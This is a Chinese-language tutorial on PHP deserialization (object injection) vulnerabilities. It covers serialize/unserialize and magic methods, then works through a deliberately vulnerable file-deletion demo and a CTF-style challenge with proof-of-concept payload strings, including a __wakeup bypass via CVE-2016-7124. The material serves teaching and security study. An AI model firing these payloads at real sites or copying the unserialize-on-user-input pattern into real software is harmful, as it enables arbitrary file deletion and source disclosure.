序列化与反序列化

漏洞:通常情况下不影响软件的正常功能,但如果被攻击者利用,有可能驱使软件去执行一些额外的恶意代码,从而引发

内存中的数据对象只有转换成二进制才可以进行数据持久化和网络传输。将数据对象转换成二进制的流程称之为对象的序列化(Serialization)。反之,将二进制流恢复为数据对象的过程称之为反序列化(Deserialization)。序列化需要保留充分的信息以恢复数据对象,但是为了节省存储空间和网络带宽,序列化后的二进制流又要尽可能的小。

PHP

0x00 PHP反序列化原理

1.PHP序列化与反序列化基础

1.1 序列化与反序列化

序列化是将变量转换为可保存或传输字符串的过程。

反序列化就是在适当的时候把这个字符串再转化为原来的变量使用。

1.2PHP序列化与反序列化函数

Serialize:可以将变量转换为字符串并且在转换中可以保存当前变量的值。

unserialize:可以将Serialize生成的字符串变换回变量。

php进行序列化的目的是保存一个对象方便以后重用。

2.类,变量,方法,对象

举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
创建Person类
变量为name和age
方法为Information
对象为$per
*/
<?php
class Person{
public $name = '';
public $age = 0;
public function Information(){
echo 'Person:'.$this->name.' is '.$this->age . 'years old .<br/>';
}
}
$per = new Person();
$per -> name = 'melon';
$per -> age = 18;
$per -> Information();
?>

html

3.php序列化实例

serialize()

序列化一个对象将会保存对象的所有变量。但是不会保存对象的方法,只会保存类的名字。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
创建Person类
变量为name和age
方法为Information
对象为$per
*/
<?php
class Person{
public $name = '';
public $age = 0;
public function Information(){
echo 'Person:'.$this->name.' is '.$this->age . 'years old .<br/>';
}
}
$per = new Person();
$per -> name = 'melon';
$per -> age = 18;
echo serialize($per);
?>

html

3.php反序列化实例

unserialize()

unserialize()一个对象,这个对象的类必须已经定义过。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
创建Person类
变量为name和age
方法为Information
对象为$per
*/
<?php
class Person{
public $name = '';
public $age = 0;
public function Information(){
echo 'Person:'.$this->name.' is '.$this->age . 'years old .<br/>';
}
}
echo unserialize('O:6:"Person":2:{s:4:"name";s:5:"melon";s:3:"age";i:18;}');
$per -> Information();
?>

html

4.php魔法函数

php类中包含了一些魔法函数,这些函数可以在脚本的任何地方不用声明就可以使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
php魔法函数 魔法函数可以在脚本的任何地方不用声明就可以使用
与php(反) 序列化有关的魔法函数
_construct() 当一个对象被创建时调用
__destruct() 当对象被销毁时
__wakeup() 使用unserialize
__sleep() 使用serialize时触发
__toSting() 把类当作字符串使用时触发
__get() 用于从不可访问的属性读取数据
__set() 用于数据写入不可访问的属性时
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
*/

5.魔法函数举一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Person{
public $name = '';
public $age = 0;
public function Information(){
echo 'Person:'.$this->name.' is '.$this->age . 'years old .<br/>';
}
/*
在类里创建三个魔法函数测试
*/
public function __toString(){
return 'I am __toString <br/>';
}
public function __construct(){
echo 'I am __construct <br/>';
}
public function __destruct(){
echo 'I am __destruct <br/>';
}
}
$per = new Person(); //创建类执行 __construct
$per -> name = 'melon';
$per -> age =18;
echo $per; //把类当字符串打印 执行__toString 然后类被销毁 执行 __destruct
?>

html

6.反序列化漏洞

php反序列化漏洞又称对象注入可能会导致注入,远程代码执行等安全问题的发生。

php反序列化漏洞如何产生:如果一个php代码中使用了unserialize函数去调用某一类,该类中会自动执行一些自定义函数的magic method,这些magic method中如果包含了一些危险操作,或者这些magic method会去调用类中其他带有危险操作的函数,如果这些危险操作是我们可控的,那么就可以进行一些危害操作甚至getshell。

0x01 PHP反序列化Demo

1
2
3
4
5
6
7
8
9
10
//delete.php
<?php
class delete{
public $filename = 'error';
function __destruct(){
echo $this->filename.'was deleted <br/>';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>

在代码中可以看到,delete类中定义了一个__destruct()函数,该函数中会执行删除文件操作。如果我们想利用该类来执行任意文件删除操作,则需要找一个可控的unserialize()函数。

1
2
3
4
5
6
7
8
9
10
11
12
//Person.php
<?php
include 'Delete.php';
class Person{
public $name = '';
public $age = 0;
public function Information(){
echo 'Person:'.$this->name.'is'.$this->age.'years old<br/>';
}
}
$per = unserialize($_REQUEST['file']);
?>

漏洞成因:我们的Person.php文件包含了Delete.php 要想达到任意文件删除的目的就需要控制传入的文件名 而文件名参数是$filename 那怎样控制filename变量就是我们的目的 首先我们知道__destruct魔法函数 是对象销毁的时候执行的 当对Person传一个参数file是 对象销毁 执行魔法函数删除文件操作 因为对传入参数做了反序列化处理所以我们构造一个序列化对象 其中我们构造的对象中filename的值要覆盖掉Delete.php中filename的值来达到删除任意文件的目的。

构造POC:

1
2
3
4
5
6
7
8
9
<?php
class delete{
public $filename = 'error';

}
$melon = new delete();
$melon->filename='flag.php';
echo serialize($melon);
?>

对Person.php发起请求:file=O:6:"delete":1:{s:8:"filename";s:8:"flag.php";}

html

html

0x02 关于PHP反序列化的题目

代码入下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file))
{
//查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
if(strchr($this->file,"\\")===false && strchr($this->file, '/')===false)
{
show_source(dirname (__FILE__).'/'.$this ->file);
}
else{
die('Wrong filename.');
}
}
}
function __wakeup()
{
$this-> file='index.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file']))
{
show_source('index.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?> #<!--flag in flag.php-->

首先对象创建执行 __destruct函数 我们发现GET获取file参数值的时候会反序列化 我们可以利用反序列化覆盖掉file的值

下面构造payload

1
2
3
4
5
6
7
<?php
class SoFun{
protected $file = 'a';
}
$melon = new SoFun();
echo serialize($melon);
?>

生成O:5:"SoFun":1:{s:7:"*file";s:1:"a";}

因为file是protected访问权限所以生成的序列化字符串带*号 绕过访问权限可以在 * 号的两边加 \00

当执行反序列化时 执行__wakeup函数 强制使file的值变为index.php

序列化串行中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 CVE-2016-7124

1
2
3
4
payload1 : O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
payload2 : O:5:"SoFun":2:{s:11:"\00*\00file";s:8:"flag.php";}
当s:11的s是小写时 \00 认为占三位
当S:7的S是大写时 \00 占一位

html